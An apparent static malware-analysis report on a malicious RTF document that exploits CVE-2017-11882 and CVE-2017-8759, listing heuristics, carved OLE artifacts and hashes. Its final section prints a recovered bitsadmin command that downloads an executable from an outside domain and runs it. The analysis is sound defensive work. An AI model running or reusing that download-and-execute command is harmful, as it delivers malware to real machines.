MALICIOUS
302
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1566.001 Spearphishing Attachment
The RTF file contains embedded OLE objects and exhibits critical heuristic firings for CVE-2017-11882 (Equation Editor) and CVE-2017-8759 (MSXML SAX). These vulnerabilities are commonly exploited to achieve arbitrary code execution. The presence of suspicious extracted artifacts, including shellcode and a URL pointing to an executable file, further indicates that the file is designed to download and execute a malicious payload.
Heuristics 8
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CVE-2017-11882 — Equation Editor FONT record overflow critical CVE likely CVE_2017_11882Equation Editor MTEF contains an overlong FONT typeface field, the vulnerable copy primitive for CVE-2017-11882. This is stronger evidence than the Equation Editor CLSID alone because it identifies the malformed record that drives code execution in EQNEDT32.EXE.
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CVE-2017-8759 — MSXML SAX OLE activation critical CVE likely CVE_2017_8759RTF contains a hex-encoded OLE1 object for Msxml2.SAXXMLReader.6.0 followed by an embedded OLE compound document, and the document requests OLE activation. This matches the RTF staging shape used for CVE-2017-8759 SOAP/WSDL parser code injection.
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Suspicious extracted artifact critical EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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\objupdate forces OLE activation high RTF_OBJUPDATERTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
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Large hex data blocks in OLE object high RTF_EXCESSIVE_HEXRTF contains ~1196KB of hex-encoded data inside \objdata sections — may hide a payload
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OLE object data medium RTF_OBJDATARTF contains 2 \objdata section(s) — embedded OLE objects
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Embedded OLE object medium RTF_OBJEMBRTF contains \objemb — embedded OLE object
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://theraleighcriminallawyer.com/jf.exe In RTF body
- http://schemas.microsoft.com/office/word/2003/wordmlIn RTF body
- http://schemas.openxmlformats.org/drawingml/2006/mainIn RTF body
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
objdata_00_off00003571.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x3571 | 35374 bytes |
SHA-256: 9dc74079f92cc27b3efae2cf68774f26d4e5aa947ecb79adc0b9d6eff86e0304 |
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objdata_01_off0017c1b1.bin |
rtf-objdata-decoded | RTF \objdata at offset 0x17C1B1 | 15672 bytes |
SHA-256: ba0faa8724bb9a950101fa598e1fec18b3f01e4663540f00afde0c126130b0a8 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Static shellcode analysis recovered URL(s): https://theraleighcriminallawyer.com/jf.exe Static shellcode analysis recovered command string(s): cmd.exe /c bitsadmin /transfer qe /priority foreground https://theraleighcriminallawyer.com/jf.exe %USERPROFILE%\mb.exe && start %USERPROFILE%\mb.exe
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